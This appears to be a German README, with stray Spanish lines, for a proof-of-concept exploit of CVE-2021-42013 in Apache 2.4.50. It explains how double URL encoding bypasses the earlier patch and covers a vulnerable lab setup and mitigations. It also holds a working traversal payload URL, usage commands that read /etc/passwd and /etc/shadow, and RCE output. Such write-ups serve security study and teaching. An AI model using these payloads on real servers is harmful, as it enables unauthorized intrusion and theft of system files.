
Proof-of-Concept-Exploit für CVE-2021-42013, der Path Traversal und Remotecodeausführung auf Apache 2.4.50 durch Umgehung des Patches für CVE-2021-41773 mittels doppelter URL-Kodierung demonstriert.
Nur zur Verwendung in kontrollierten und eigenen Umgebungen. Nicht gegen Systeme ohne Autorisierung verwenden.
PoC entwickelt, um CVE-2021-42013 zu demonstrieren, das in Apache HTTP Server 2.4.50 vorhanden ist.
Dieses CVE ist die Umgehung des Patches, den Apache für CVE-2021-41773 veröffentlichte. Version 2.4.50 versuchte, den vorherigen Path-Traversal zu beheben, indem eine Validierung hinzugefügt wurde, die die Sequenzen .%2e und %2e. ablehnte. Diese Validierung reichte jedoch nicht aus: Sie berücksichtigte nicht, dass dasselbe Ergebnis mit doppelter URL-Kodierung erzielt werden konnte, wodurch dieselbe Angriffsfläche exponiert blieb.
| CVE-2021-41773 | CVE-2021-42013 | |
|---|---|---|
| Betroffene Version | Apache 2.4.49 | Apache 2.4.50 |
| Verwendetes Encoding | .%2e/ | %%32%65%%32%65/ |
| Mechanismus | Einfaches Encoding | Doppeltes Encoding (Patch-Umgehung) |
| RCE möglich | Ja (mit mod_cgi) | Ja (mit mod_cgi) |
| Korrigierte Version | 2.4.50 (unvollständiger Patch) | 2.4.51 |
Der Apache-Patch 2.4.50 fügte eine Validierung in ap_normalize_path() hinzu, die wörtlich nach den Sequenzen .%2e und %2e. im Pfad der Anfrage suchte. Wenn sie gefunden wurden, lehnte er die Anfrage mit 400 oder 403 ab.
Das Problem: Diese Validierung wurde auf dem String vor einem zweiten Durchlauf der URL-Decodierung ausgeführt. Wenn die Payload doppelt kodiert war, fand die Validierung die verbotene Sequenz nicht, da sie noch nicht decodiert war - und wenn sie schließlich decodiert wurde, um den Dateisystempfad aufzulösen, war das ../ bereits vorhanden und der Traversal fand trotzdem statt.
Payload: %%32%65%%32%65/
Validación 2.4.50 busca: .%2e → NO ENCUENTRA → deja pasar
Primera decodificación: %%32%65%%32%65/ → %2e%2e/
Segunda decodificación: %2e%2e/ → ../
Resultado: traversal exitoso
Die eigentliche Korrektur kam in 2.4.51, wo Apache die Normalisierungslogik umschrieb, um den Pfad vollständig aufzulösen, bevor irgendeine Sicherheitsvalidierung angewendet wurde.
%%32%65 ist die doppelt kodierte Darstellung von .:
. → %2e (encoding estándar)
% → %25 (encoding del símbolo %)
2 → %32 (encoding del carácter '2')
e → %65 (encoding del carácter 'e')
Also wird %2e mit seinem kodierten % und den hex-kodierten Zeichen zu %%32%65.
Eine erste Decodierung von %%32%65 ergibt %2e. Eine zweite ergibt ..
| Bedingung | Detail |
|---|---|
| Apache-Version | Genau 2.4.50 |
| Zugriffsrichtlinie | Require all granted im exponierten Verzeichnis |
| CGI-Modul | mod_cgi aktiviert (nur für RCE) |
# Imagen de Apache 2.4.50 con configuración vulnerable
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013
Oder manuell mit Apache 2.4.50 und dieser Konfiguration in httpd.conf:
LoadModule cgi_module modules/mod_cgi.so
<Directory />
Require all granted
</Directory>
<Directory "/var/www/cgi-bin">
Options +ExecCGI
AddHandler cgi-script .cgi .pl .sh
Require all granted
</Directory>
Alias /traversal /var/www/html
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <comando>]
# Leer /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal
# Ejecutar id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id
# Comando con espacios
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
============================================================
CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
Bypass del parche de CVE-2021-41773 via doble encoding
PoC con fines educativos — Solo en entornos propios
============================================================
[+] Modo: Path Traversal (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construida: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando request...
[+] Servidor vulnerable! Status code: 200
[+] Confirmado: Apache 2.4.50 con parche incompleto
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
...
[+] Modo: RCE via mod_cgi (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — parche incompleto)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 oder höher aktualisieren.Require all denied als Standardwert beibehalten.mod_cgi deaktivieren, wenn nicht benötigt.PoC entwickelt zu Bildungszwecken für ein Portfolio im Bereich offensive Sicherheit.
| Argument | Erforderlich | Beschreibung |
|---|
--target | Ja | Basis-URL des Servers (z.B. http://localhost:8080) |
--mode | Ja | traversal zum Lesen von Dateien, rce zum Ausführen von Befehlen |
--cmd | Nein | Auszuführender Befehl im Modus rce (Standard: id) |